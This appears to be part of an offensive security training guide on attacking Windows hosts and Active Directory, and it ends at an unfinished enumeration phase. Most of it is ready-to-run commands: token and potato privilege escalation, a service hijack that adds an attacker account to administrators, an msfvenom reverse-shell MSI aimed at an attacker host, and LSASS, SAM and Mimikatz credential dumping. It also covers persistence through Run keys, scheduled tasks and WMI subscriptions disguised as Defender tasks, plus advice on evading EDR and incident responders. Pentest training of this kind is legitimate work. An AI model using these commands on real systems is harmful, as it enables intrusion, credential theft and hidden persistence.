2. Windows_AD
Pillar 2: Windows & Active Directory Attacks
BLUF: Every enterprise engagement starts on a Windows box before it reaches the domain. Master the local OS first — enumeration, privilege escalation, credential harvesting — then chain into Active Directory. Manual, OPSEC-conscious techniques beat noisy tooling every time.
🟠 OW64 — P2: Windows/AD Action Items
Part 1 — Windows OS: 1. System & Environment Enumeration · 2. Privilege Escalation · 3. Credential Harvesting · 4. Persistence
Part 2 — Active Directory: 5. Windows/AD Recon & Enumeration · 6. Kerberos Attacks · 7. NTLM Relay & Lateral Movement · 8. ACL Abuse, ADCS & Domain Dominance · 9. Common Windows Services · ✦ Full Windows/AD Attack Chain
Attack Path Overview
graph TB
Start([Initial Foothold]) --> WinEnum[Windows Enumeration]
WinEnum --> PrivEsc{Privilege Escalation}
PrivEsc --> Token[Token Abuse / Potatoes]
PrivEsc --> SvcPath[Unquoted Service Paths]
PrivEsc --> DLL[DLL Hijacking]
Token --> LocalAdmin([Local Admin / SYSTEM])
SvcPath --> LocalAdmin
DLL --> LocalAdmin
LocalAdmin --> CredHarvest[Credential Harvesting]
CredHarvest --> ADEnum[Manual AD Enumeration]
ADEnum --> Kerb[Kerberos Attacks]
ADEnum --> Relay[NTLM Relay / Coercion]
Kerb --> ACL[ACL Abuse]
Relay --> ACL
ACL --> ADCS[ADCS ESC1/ESC8]
ACL --> ShadowCreds[Shadow Credentials]
ADCS --> DCSync[DCSync / Golden Ticket]
ShadowCreds --> DCSync
DCSync --> DA([Domain Admin / Full Compromise])
style Start fill:#ff6600
style LocalAdmin fill:#ff8800
style DA fill:#ff0000MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Pillar Relevance |
|---|---|---|---|
| T1087.001 | Local Account Discovery | Discovery | Windows local enumeration |
| T1548.002 | Bypass UAC | Privilege Escalation | UAC bypass techniques |
| T1134.001 | Token Impersonation/Theft | Privilege Escalation | SeImpersonatePrivilege abuse |
| T1003.001 | LSASS Memory | Credential Access | LSASS dump for hashes |
| T1552.002 | Registry Credentials | Credential Access | AutoLogon, SAM, DPAPI |
| T1558.003 | Kerberoasting | Credential Access | Service ticket cracking |
| T1557.001 | NTLM Relay | Credential Access | SMB relay attacks |
| T1484.001 | Group Policy Modification | Defense Evasion | GPO abuse for persistence |
| T1649 | Steal or Forge Authentication Certificates | Credential Access | ADCS ESC1/ESC8 |
| T1003.006 | DCSync | Credential Access | Domain replication abuse |
— PART 1: WINDOWS LOCAL BOX —
Action Item 1 — System & Environment Enumeration [Beginner]
Manual enumeration of the Windows host is the bedrock of post-exploitation. You need to understand the OS, who's here, what's running, and what mistakes the admin made before attempting any escalation.
What you're building: A complete picture of the box — OS version (which exploits apply?), your privileges, network connections, and the admin mistakes that will escalate you. Everything in Part 1 depends on this groundwork.
| Category | Key Commands | What you're looking for |
|---|---|---|
| System info | systeminfo, ver, hostname |
OS/patch level → applicable exploits |
| Users/sessions | whoami /all, net user, query user |
Your privileges, other logged-in users |
| Network | netstat -ano, ipconfig /all, arp -a |
Listening services, adjacent hosts, pivot targets |
| Quick privesc | whoami /priv, accesschk.exe |
SeImpersonatePrivilege, writable services |
| Secrets | reg query Winlogon, cmdkey /list |
Cleartext creds, stored credentials |
| Services | sc query, wmic service |
Unquoted paths, writable service binaries |
| AV/EDR | sc query + process list |
What's watching you? |
| Auto enum | winPEAS.exe |
Fast shotgun coverage — noisy, use last |
Tactic: Discovery
Technique: System Information Discovery — Think of it like walking into a building you've never been in before. Before you do anything else, you stop and take stock:
| Question | Operator Analogy | Windows Commands |
|---|---|---|
| Who's in the building? | Who's already on this box right now? Any admins, defenders, other sessions? | query user, qwinsta, net session |
| What am I? | What account, what groups, what token privileges do I hold? | whoami /all, net user %USERNAME%, id |
| What's the layout? | OS version, patch level, architecture — what exploits apply here? | systeminfo, ver, wmic os get caption,version |
| What's the protection? | Is there an EDR, AV, or monitoring running? What will catch me? | sc query windefend, tasklist /svc | findstr -i "edr|av|defend|cb|falcon" |
| What doors are open? | What services listen locally vs externally? What can I reach? | netstat -ano, ipconfig /all, arp -a, route print |
| What runs consistently? | What scheduled tasks and services run as SYSTEM or high-priv? | schtasks /query /fo LIST /v, sc query type= all |
| What's the power structure? | Who has privilege? Can I do things I shouldn't? | whoami /priv, net localgroup administrators |
The goal before touching anything else: build a complete mental map of the box — who's here, what's patched, what's privileged, and what mistakes the admin made — before you decide what to escalate with. Rushing to exploitation without this picture is how you get caught or miss the easy win.
Procedure — "First 5 Minutes on Box"
Work through these phases in order. Each phase builds on the last. Don't jump ahead to exploitation until you've completed Phase 1–4.
Phase 1 — Situational Awareness (Where am I?)
:: What OS, version, patch level, and architecture?
systeminfo :: full OS info including hotfixes — look for missing patches
ver :: quick OS version number
hostname :: machine name — prod server? DC? workstation?
echo %COMPUTERNAME% %USERNAME% :: fast identity check
wmic os get caption,version,osarchitecture
wmic qfe list brief :: installed hotfixes — gaps = potentially exploitable
:: Am I in a restricted environment?
gpresult /r :: applied GPOs — can reveal AppLocker, PowerShell constraints
whoami /groups | findstr /i "restricted\|mandatory"
Why: The OS version and patch level determine which CVEs apply. Long hotfix gap = likely vulnerable. GPO output tells you what execution restrictions are in place before you try to run anything.
Phase 2 — Who's Here? (Users & Sessions)
:: Who am I and what privileges do I hold?
whoami /all :: full token: user, groups, privileges — READ THIS CAREFULLY
net user %USERNAME% :: local account info
net user %USERNAME% /domain :: domain account info (if domain-joined)
:: Who has a local admin account?
net localgroup administrators :: who's in the local admins group?
net localgroup :: all local groups
:: Who is currently logged in RIGHT NOW?
query user :: active RDP/console sessions with session IDs
qwinsta :: same, different format
net session :: network sessions connected to this machine
:: Enumerate all local users and their last logon
net user :: all local accounts
wmic useraccount get name,sid,disabled,passwordexpires
Why:
whoami /allis the single most important command on Windows — it shows your token privileges (SeImpersonatePrivilege,SeDebugPrivilege,SeBackupPrivilege) which each represent a direct escalation path. If another admin is logged in, their session is a lateral movement opportunity.
Phase 3 — What's Connected? (Network, Services & Storage)
:: What is this machine talking to right now?
netstat -ano :: all connections with PIDs — spot unusual outbound/listeners
netstat -ano | findstr LISTENING :: only listening services
:: What does this host know about the network?
ipconfig /all :: all interfaces — dual-homed? VPN? internal subnets
arp -a :: what other hosts has this machine talked to recently?
route print :: routing table — what subnets are reachable?
nslookup domain.local :: DNS + domain name confirmation
:: Find internal hosts by name (no scan needed)
type C:\Windows\System32\drivers\etc\hosts :: static DNS entries
:: What's shared?
net share :: shares hosted on this machine
net use :: shares this machine is connected to
wmic logicaldisk get name,description,freespace,size
Why: The ARP cache reveals adjacent hosts without generating scan traffic.
netstat -anotells you if this box is already beaconing somewhere — look for established connections on unusual ports. Dual-homed hosts are pivot opportunities.
Phase 4 — Quick Privilege Checks (Low-Hanging Fruit)
:: Token privileges — HIGHEST priority check
whoami /priv
:: Immediate escalation paths:
:: SeImpersonatePrivilege → PrintSpoofer, GodPotato, JuicyPotatoNG → SYSTEM
:: SeDebugPrivilege → dump LSASS directly
:: SeBackupPrivilege → read any file (SAM, NTDS.dit)
:: SeRestorePrivilege → write to system paths
:: SeTakeOwnershipPrivilege → take ownership of any object
:: UAC level — is UAC on? What's the consent behavior?
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
:: Is AlwaysInstallElevated set? (MSI files run as SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Accessible service control
accesschk.exe -uwcqv * 2>nul :: services your current user can modify
sc query type= all state= all :: full service list
:: Writable directories in PATH
echo %PATH%
Why:
SeImpersonatePrivilegeis present on most service accounts and is a near-guaranteed path to SYSTEM via potato attacks. Check it before anything else.AlwaysInstallElevated= instant SYSTEM with a crafted MSI, no exploit needed.
Phase 5 — Secrets & History (Credentials in the Clear)
:: PowerShell history — operators paste passwords here constantly
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
:: Stored credentials (Credential Manager)
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all
:: AutoLogon credentials (cleartext in registry)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
:: PuTTY saved sessions
reg query HKCU\Software\SimonTatham\PuTTY\Sessions
:: WinSCP saved passwords
reg query HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
:: Config files — look in web roots, app dirs
dir /s /b *pass* *cred* *config* 2>nul | findstr /v "System32\|WinSxS"
findstr /si "password=" C:\inetpub\*.config C:\inetpub\*.xml 2>nul
Why: PowerShell history is the most overlooked quick win on Windows — admins run scripts with hardcoded credentials and never clear it. Credential Manager and registry AutoLogon creds are found in a significant percentage of real engagements.
Phase 6 — Running Processes & Services (Escalation Paths)
# Full process list with owners
Get-WmiObject Win32_Process | Select Name, ProcessId, @{N='Owner';E={$_.GetOwner().User}} | Sort Owner
# Unquoted service paths — spaces without quotes = potential hijack
Get-WmiObject Win32_Service | Where-Object {
$_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select Name, PathName, StartMode, State
# Services running as high-privilege accounts
Get-WmiObject Win32_Service | Where-Object {
$_.StartName -match "LocalSystem|Administrator|SYSTEM"
} | Select Name, StartName, PathName
# Scheduled tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "task name\|run as\|task to run"
Get-ScheduledTask | Where-Object {$_.Principal.RunLevel -eq "Highest"} | Select TaskName, TaskPath
Why: An unquoted service path like
C:\Program Files\My App\service.exe— with no quotes and a space — means Windows will try to runC:\Program.exefirst. If you can write to that path, you get SYSTEM when the service restarts.
Phase 7 — Automated Enumeration (Noisy, Use Last)
:: winPEAS — comprehensive automated sweep (noisy)
.\winPEASany.exe > C:\Temp\wp.txt 2>&1
:: PowerUp — PowerShell privesc checker (less noisy)
. .\PowerUp.ps1
Invoke-AllChecks
OPSEC:
winPEAStouches hundreds of registry keys, runs dozens of WMI queries, and traverses the filesystem — it will generate significant event log noise. In an EDR environment, use it once, redirect to a file, then read offline. Complete Phases 1–6 manually first on high-security targets.
Phase 7.5 — Unknown Service / Binary Identification
You've found something running you don't recognize — a service, a process, a binary in an odd path. Work through this before escalating or ignoring it.
| Signal | Commands | What it tells you |
|---|---|---|
| What is the service? | sc qc <ServiceName>, Get-WmiObject Win32_Service | Where Name -eq "X" |
Binary path, start type, account it runs as |
| What is the binary? | Get-Item "C:\path\to\binary.exe" | Select *, sigcheck.exe -a -nobanner "C:\path\to\binary.exe" |
File metadata, digital signature, publisher |
| What is it doing? | netstat -ano | findstr PID, Get-NetTCPConnection | Where OwningProcess -eq PID |
Open connections and listening ports |
| What files/registry is it touching? | Procmon with PID filter (offline); handle.exe -p PID |
Config paths, credential files, registry keys |
| What strings does it contain? | strings.exe -nobanner "C:\path\binary.exe" | findstr /i "http ftp ldap pass token key url" |
Embedded URLs, protocol names, hardcoded creds |
| Is it signed? | Get-AuthenticodeSignature "C:\path\binary.exe" |
Signed = likely legit; unsigned in System32 = red flag |
| Where did it come from? | wmic product where "Name like '%%ServiceName%%'" get Name,Version,InstallLocation |
Installed product or hand-dropped? |
| Procedure: |
# Step 1: List all non-Microsoft services (unknown publishers = investigate first)
Get-WmiObject Win32_Service |
Where-Object { $_.PathName -notmatch "System32|SysWOW64|WindowsApps" } |
Select Name, State, StartName, PathName | Format-List
# Step 2: For a suspicious service NAME — get the full story
$SvcName = "SuspiciousService" # replace with your target
sc qc $SvcName # binary path, start type, account
sc query $SvcName # current running state
Get-WmiObject Win32_Service | Where-Object {$_.Name -eq $SvcName} |
Select Name, PathName, StartName, ProcessId, Description
# Step 3: Follow the binary
$BinPath = (Get-WmiObject Win32_Service | Where Name -eq $SvcName).PathName
$BinPath = $BinPath -replace '"', '' -replace ' .*', '' # strip args
Get-Item $BinPath | Select FullName, Length, CreationTime, LastWriteTime
Get-AuthenticodeSignature $BinPath | Select Status, SignerCertificate
# Step 4: Network footprint of the process
$PID = (Get-WmiObject Win32_Service | Where Name -eq $SvcName).ProcessId
netstat -ano | findstr $PID
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq $PID } |
Select LocalAddress, LocalPort, RemoteAddress, RemotePort, State
# Step 5: Embedded strings (find URLs, protocols, credentials)
# Sysinternals strings.exe — download from https://learn.microsoft.com/sysinternals/downloads/strings
strings.exe -nobanner $BinPath | findstr /i "http ftp smtp ldap redis mysql postgres password token key url config version"
# Step 6: Registry — does this service have a full registry footprint?
reg query "HKLM\SYSTEM\CurrentControlSet\Services\$SvcName" /s
# Step 7: Banner grab the listening port (if Step 4 found one)
# Replace PORT with the port from Step 4
$Port = 8080
$Client = New-Object System.Net.Sockets.TcpClient("127.0.0.1", $Port)
$Stream = $Client.GetStream()
$Buffer = New-Object Byte[] 1024
$Read = $Stream.Read($Buffer, 0, 1024)
[System.Text.Encoding]::ASCII.GetString($Buffer, 0, $Read)
$Client.Close()
:: CMD fallback for banner grab on a local port
curl -sk http://127.0.0.1:PORT/ 2>nul
:: Check if it's TLS
openssl s_client -connect 127.0.0.1:PORT 2>nul | findstr /i "subject\|issuer\|CN="
Why:
sc qcandGet-WmiObject Win32_Servicegive you everything the SCM knows about a service without touching the binary.Get-AuthenticodeSignaturecatches the most important signal fast — an unsigned binary in a system path is immediately suspicious. Embedded strings reveal protocol names, URLs, and hardcoded creds that survive obfuscation attempts. The registry key underHKLM\SYSTEM\CurrentControlSet\Services\contains the full service configuration including any command-line parameters.
OPSEC:
sc qc,Get-WmiObject Win32_Service, andnetstat -anoare all native Windows commands and generate minimal log noise.sigcheck.exeandstrings.exeare Sysinternals tools — their execution may be logged by EDR as "potentially unwanted software analysis tool." Avoid Procmon andhandle.exeon high-security targets if you cannot explain their presence; useGet-NetTCPConnectionandreg queryinstead for equivalent coverage without dropped Sysinternals binaries.
Action Item 2 — Windows Privilege Escalation [Beginner/Intermediate]
Misconfigured privileges, unquoted paths, and writable services are the most reliable escalation paths on Windows. No exploit needed in most cases — admin mistakes get you there.
What you're building: A path from your current user to SYSTEM — the Windows equivalent of root. Most paths involve either your token privileges (no admin action needed) or an admin misconfiguration in services or scheduled tasks.
| Vector | Detection Command | Exploit Approach |
|---|---|---|
| SeImpersonatePrivilege | whoami /priv |
PrintSpoofer / GodPotato → SYSTEM shell |
| SeDebugPrivilege | whoami /priv |
Dump LSASS directly, inject into SYSTEM process |
| Unquoted service path | wmic service get name,pathname |
Drop binary in unquoted path segment |
| Writable service binary | icacls <service.exe> |
Replace binary with reverse shell |
| AlwaysInstallElevated | reg query both hives |
Craft malicious MSI with msfvenom |
| DLL hijacking | Procmon + missing DLL list | Drop malicious DLL in search path |
| Weak service DACL | accesschk.exe -uwcqv * |
Change service binpath to your command |
Tactic: Privilege Escalation
Technique: Access Token Manipulation and Service/Config Abuse (T1548.002, T1134.001)
Procedure:
# --- Path 1: SeImpersonatePrivilege (most common on service accounts) ---
whoami /priv | findstr /i "impersonate"
# PrintSpoofer — Windows Server 2016/2019, Windows 10
.\PrintSpoofer.exe -i -c cmd
# GodPotato — Windows Server 2012–2022, Windows 8–11
.\GodPotato.exe -cmd "cmd /c whoami"
# JuicyPotatoNG
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
:: --- Path 2: Unquoted Service Path ---
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "c:\windows"
icacls "C:\Program Files\Vulnerable App" :: look for BUILTIN\Users:(W)
:: Drop payload at first resolvable path segment
copy evil.exe "C:\Program Files\Vulnerable.exe"
sc stop VulnerableService && sc start VulnerableService
:: --- Path 3: Weak Service DACL ---
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
:: Change binary path to run a command
sc config targetservice binpath= "C:\Windows\System32\cmd.exe /c net localgroup administrators attacker /add"
sc start targetservice
:: Restore after:
sc config targetservice binpath= "C:\original\path.exe"
:: --- Path 4: AlwaysInstallElevated ---
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: Both must be 0x1 — then any MSI runs as SYSTEM
# Generate malicious MSI on attacker machine
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=443 -f msi -o evil.msi
:: Execute on target
msiexec /quiet /qn /i evil.msi
OPSEC: Potato attacks create a named pipe and trigger a SYSTEM process to connect — relatively quiet but visible in process creation logs. Service binary swaps are logged if the service binary path is audited. Always restore originals after use.
Action Item 3 — Windows Credential Harvesting [Intermediate]
After gaining elevated access, extract credentials for lateral movement. Windows stores hashes and plaintext credentials in multiple locations — LSASS, the SAM hive, registry, and the DPAPI vault.
What you're building: A credential cache — NTLM hashes for Pass-the-Hash, cleartext passwords for direct authentication, and Kerberos tickets for Pass-the-Ticket. These feed directly into the AD attack chain in Part 2.
| Source | What You Get | Method |
|---|---|---|
| LSASS memory | NTLM hashes, Kerberos tickets, sometimes cleartext | comsvcs.dll MiniDump, procdump |
| SAM hive | Local account NTLM hashes | reg save + secretsdump.py |
| SYSTEM hive | Decryption key for SAM | reg save alongside SAM |
| LSA Secrets | Service account passwords, cached domain creds | secretsdump.py LSA secrets |
| Credential Manager | Stored network creds | cmdkey, vaultcmd, Mimikatz dpapi:: |
| Registry | AutoLogon, PuTTY, WinSCP cleartext | reg query |
Tactic: Credential Access
Technique: OS Credential Dumping (T1003.001, T1003.002)
Procedure:
:: --- Method 1: SAM + SYSTEM dump (preferred — no LSASS touch) ---
reg save HKLM\SAM C:\Temp\sam.bak
reg save HKLM\SYSTEM C:\Temp\system.bak
reg save HKLM\SECURITY C:\Temp\security.bak
# On attacker (Linux):
secretsdump.py -sam sam.bak -system system.bak -security security.bak LOCAL
# --- Method 2: LSASS dump via comsvcs.dll (fileless — no binary dropped) ---
# Requires SeDebugPrivilege or local admin
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Temp\lsass.dmp full
# Parse dump on attacker (Linux):
pypykatz lsa minidump lsass.dmp
:: --- Method 3: procdump (Sysinternals) ---
.\procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
# --- Method 4: Mimikatz (if executable is viable) ---
privilege::debug
sekurlsa::logonpasswords # NTLM hashes + cleartext if WDigest enabled
lsadump::sam # SAM hashes
lsadump::secrets # LSA secrets (service account passwords)
lsadump::cache # cached domain logon credentials
# WDigest check — is cleartext in LSASS?
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
# Value = 1 → cleartext passwords in LSASS
:: --- Method 5: Credential Manager + DPAPI ---
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all
OPSEC: LSASS dumps are the #1 EDR alert trigger. Using
comsvcs.dll(a Windows-native binary) is less flagged than droppingmimikatz.exe, but the dump creation event itself is still logged. Always check if WDigest is enabled before attempting a dump — if it is, you might get cleartext without needing to crack anything.
Action Item 4 — Windows Persistence [Intermediate]
After escalation, establish persistence mechanisms that survive reboots and blend into legitimate Windows behaviour. Each mechanism trades stealth for reliability — choose based on environment maturity.
What you're building: A redundant foothold that doesn't rely on your active C2 session. If you lose the shell, you get it back. Each mechanism has a different stealth profile — read the OPSEC notes.
| Mechanism | Persistence Point | Stealth Level | Detection Method |
|---|---|---|---|
| Registry Run Keys | HKCU\...\Run / HKLM\...\Run |
Low | AV / HIPS registry monitoring |
| Scheduled Task | Windows Task Scheduler | Medium | schtasks, Task Scheduler event log |
| WMI Subscription | WMI event repository | High | WMI event log (rarely monitored) |
| Service | HKLM\SYSTEM\Services |
Medium | sc query, Service audit log |
| Startup Folder | shell:startup path |
Low | AV, HIPS, obvious to responders |
Tactic: Persistence
Technique: Boot/Logon Autostart & Scheduled Task Creation (T1053.005, T1543.003, T1546.003)
Procedure:
:: --- Method 1: Registry Run Key ---
:: User-level (no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
:: System-level (admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Temp\payload.exe" /f
:: --- Method 2: Scheduled Task ---
:: Masquerade as Windows Defender update task
schtasks /create /tn "Microsoft\Windows\Defender\DefenderUpdate" /tr "C:\Temp\payload.exe" /sc onstart /ru SYSTEM /f
:: Time-based trigger (quieter)
schtasks /create /tn "Microsoft\Windows\CertPKICache\CacheRepair" /tr "C:\Temp\payload.exe" /sc daily /st 09:00 /ru SYSTEM /f
# --- Method 3: WMI Event Subscription (stealthiest) ---
$filterName = "SCMTrigger"
$consumerName = "SCMConsumer"
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = $filterName
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $consumerName
CommandLineTemplate = "C:\Temp\payload.exe"
}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}
OPSEC: Persistence is the phase most likely to be found during IR. Avoid obvious names like
backdoor.service. Masquerade as legitimate-sounding Windows components (MicrosoftEdgeUpdate,DefenderCache). WMI subscriptions are the hardest to find without dedicated tooling —Get-WMIObject __EventFilter -Namespace root\subscriptionis the IR analyst's check. Always know how to clean up each mechanism.
— PART 2: ACTIVE DIRECTORY —
Action Item 5 — Windows/AD Reconnaissance & Enumeration [Intermediate]
Before you touch AD with credentials, you need to identify the domain from the outside — port signatures tell you what you're dealing with, unauthenticated protocol queries tell you who lives there. A Windows/AD environment has a distinctive fingerprint visible from any network position.
What you're building: A map of the domain built entirely from network-visible data — DC hostnames, domain name, user list, share inventory, and password policy — before you have a single credential. Each protocol is a different window into the same directory.
| Category | Key Commands | What you're looking for |
|---|---|---|
| Port scan | nmap -sV -p 53,88,135,139,445,389,636,3268,3389 |
Service fingerprint → confirms Windows/AD |
| DNS | dig, nslookup, zone transfer attempts |
Domain name, DC hostnames, internal A records |
| SMB | smbclient, crackmapexec smb, enum4linux-ng |
Null session, shares, OS version, users |
| LDAP | ldapsearch, ldapdomaindump |
Anonymous bind → user/group/computer objects |
| MSRPC | rpcclient, impacket-rpcdump |
Null session → user enumeration, SID info |
| Domain basics | Get-ADDomain, nltest /dclist |
Forest/domain structure, DC names |
| Users | Get-DomainUser -SPN, Get-DomainUser -PreauthNotRequired |
Kerberoast/AS-REP roast candidates |
| ACLs | Find-InterestingDomainAcl |
GenericAll, WriteDACL, WriteProperty |
| Trusts | Get-DomainTrust |
Cross-domain/forest pivot paths |
| ADCS | certipy find -vulnerable |
Certificate template misconfigs |
Tactic: Discovery / Reconnaissance
Technique: Active Directory Enumeration — Think of it like reading a corporate directory with access control annotations: first you find the building, then you read the directory board, then you start mapping who has keys to what.
| Question | Operator Analogy | Tools & Commands |
|---|---|---|
| Is this a Windows/AD box? | What's the building type before you walk in? | Port scan for 88 (Kerberos), 389 (LDAP), 445 (SMB), 3268 (GC) |
| What domain is this? | What's the name of the organisation? | DNS SRV query, LDAP base DN, SMB domain field |
| Who lives here (no creds)? | Can I read the lobby directory without signing in? | LDAP anonymous bind, rpcclient null session, enum4linux-ng |
| Who's in charge? | Who are the Domain Admins and where are they logged in? | Get-DomainGroupMember "Domain Admins", Get-NetLoggedon |
| What can I touch? | What objects have weak permissions from my account? | Find-InterestingDomainAcl -ResolveGUIDs |
| Where are the keys? | Which SPNs (Kerberoastable)? Which have no pre-auth (AS-REP)? | Get-DomainUser -SPN, Get-DomainUser -PreauthNotRequired |
| What's misconfigured? | Unconstrained delegation? Vulnerable cert templates? | Get-DomainComputer -Unconstrained, certipy find -vulnerable |
| What's connected? | Are there trusts to other domains or forests? | Get-DomainTrust, Get-ADTrust -Filter * |
The goal before touching anything else: identify the domain and extract everything available without credentials first — then layer in authenticated queries. Unauthenticated LDAP and null-session SMB often hand you usernames, password policy, and share names for free.
Procedure — "From Network Position to Domain Map"
Work through these phases in order. Phases 0–2 require no credentials. Phase 3+ require a domain user.
Phase 0 — Fingerprint the Target (Is This Windows/AD?)
# Targeted port scan — the AD fingerprint
nmap -sV -sC -p 53,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,5986 10.10.10.10
# Port 88 open → Kerberos → this is a Domain Controller
# Port 389 open → LDAP → AD is running
# Port 3268 open → Global Catalog → this is the primary DC
# Port 445 open → SMB → Windows target confirmed
# Port 5985 open → WinRM → remote management enabled
# Quick check — is this a DC?
nmap -p 88,389,3268 --open 10.10.10.0/24 # find DCs in subnet
# OS and version fingerprint
nmap -O -sV 10.10.10.10
crackmapexec smb 10.10.10.10 # OS, hostname, domain, signing status
Why: Port 88 (Kerberos) is the single most reliable indicator of a Domain Controller — nothing else runs Kerberos on a network. Port 3268 (Global Catalog) narrows it further to the primary DC. SMB's banner gives you domain name, hostname, and OS version in one shot.
Phase 1 — DNS Enumeration (No Creds Needed)
# Identify domain name from DNS
nslookup -type=SRV _ldap._tcp.domain.local 10.10.10.10
dig SRV _ldap._tcp.domain.local @10.10.10.10
dig SRV _kerberos._tcp.domain.local @10.10.10.10 # find DCs by name
# Attempt DNS zone transfer (often blocked, worth trying)
dig axfr domain.local @10.10.10.10 # full zone dump — gold if it works
host -t axfr domain.local 10.10.10.10
# Bruteforce DNS subdomains
gobuster dns -d domain.local -r 10.10.10.10 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Enumerate common records manually
for name in dc dc01 dc1 ldap gc mail smtp web vpn; do
host $name.domain.local 10.10.10.10 2>/dev/null | grep 'has address'
done
Why: DNS zone transfers are misconfigured more often than you'd expect, especially on internal resolvers. SRV records reveal every DC in the domain without any authentication. Knowing DC hostnames is required for targeted Kerberoast, coercion, and ADCS attacks.
Phase 2 — SMB, LDAP & MSRPC Unauthenticated Enumeration
# --- SMB: Null session and share enumeration ---
# Check SMB signing status first (relay prerequisite check)
crackmapexec smb 10.10.10.10 # signing: True/False, OS, hostname, domain
crackmapexec smb 10.10.10.0/24 --gen-relay-list nosigning.txt # find relay targets
# Enumerate shares (null session)
smbclient -L //10.10.10.10 -N # -N = no password
smbclient //10.10.10.10/SYSVOL -N # check SYSVOL for GPO scripts with creds
smbclient //10.10.10.10/NETLOGON -N
# Full null-session enumeration
enum4linux-ng -A 10.10.10.10 # OS, users, groups, shares, password policy
enum4linux-ng -R 10.10.10.10 # RID cycling — brute user enumeration
# --- LDAP: Anonymous bind enumeration ---
# Try anonymous bind (often enabled on older DCs)
ldapsearch -x -H ldap://10.10.10.10 -b '' -s base '(objectclass=*)' namingContexts
# Grab the base DN from namingContexts output, then:
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectclass=*)' | head -100
# Enumerate users (anonymous bind)
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName mail description
# Enumerate groups
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=group)' cn member
# Enumerate domain password policy
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=domain)' minPwdLength lockoutThreshold
# Dump everything if anonymous bind works
ldapdomaindump -u '' -p '' ldap://10.10.10.10 -o /tmp/ldap_dump/
# Creates HTML files: domain_users.html, domain_computers.html, domain_groups.html
# --- Authenticated LDAP (with creds) ---
ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.local' -w 'Password123' \
-b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName memberOf pwdLastSet
# --- MSRPC: rpcclient null session ---
rpcclient -U '' -N 10.10.10.10 # null session
rpcclient -U 'user%Password123' 10.10.10.10 # authenticated
# Inside rpcclient:
# enumdomusers → list all domain users
# enumdomgroups → list all domain groups
# queryuser 0x1f4 → get details on RID 500 (Administrator)
# querygroup 0x200 → Domain Admins group info
# getdompwinfo → password policy
# lsaquery → domain SID
# lookupnames admin → resolve name to SID
# RID cycling — enumerate users by SID (null session)
for rid in $(seq 500 1100); do
rpcclient -U '' -N 10.10.10.10 -c "queryuser 0x$(printf '%x' $rid)" 2>/dev/null | grep 'User Name'
done
# impacket — enumerate RPC endpoints
impacket-rpcdump @10.10.10.10 | grep -i 'MS-RPRN\|MS-PAR\|ncacn' # spot PrintSpooler (coercion target)
OPSEC: Anonymous LDAP binds and null SMB sessions generate Event ID 4624 (Logon Type 3, anonymous) on the DC — detectable but common enough to be low-signal in most environments. RID cycling generates a burst of 4625 (failed logon) events if the session isn't truly null.
enum4linux-ngis noisy — use targetedrpcclientandldapsearchcommands in monitored environments.
Phase 3 — Domain Identity & Structure (Authenticated)
# Who am I in domain context?
whoami /all
net user $env:USERNAME /domain
gpresult /r
# Domain basics
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-ADDomain
Get-ADForest
nltest /dclist:domain.local
nslookup -type=SRV _ldap._tcp.domain.local # find DCs via DNS (no tools needed)
Why: Your starting group memberships determine which attack chains are immediately available. Knowing the PDC emulator DC name is useful — Kerberoasting, coercion, and DCSync attacks usually target DCs specifically.
Phase 4 — User & Account Enumeration (Authenticated)
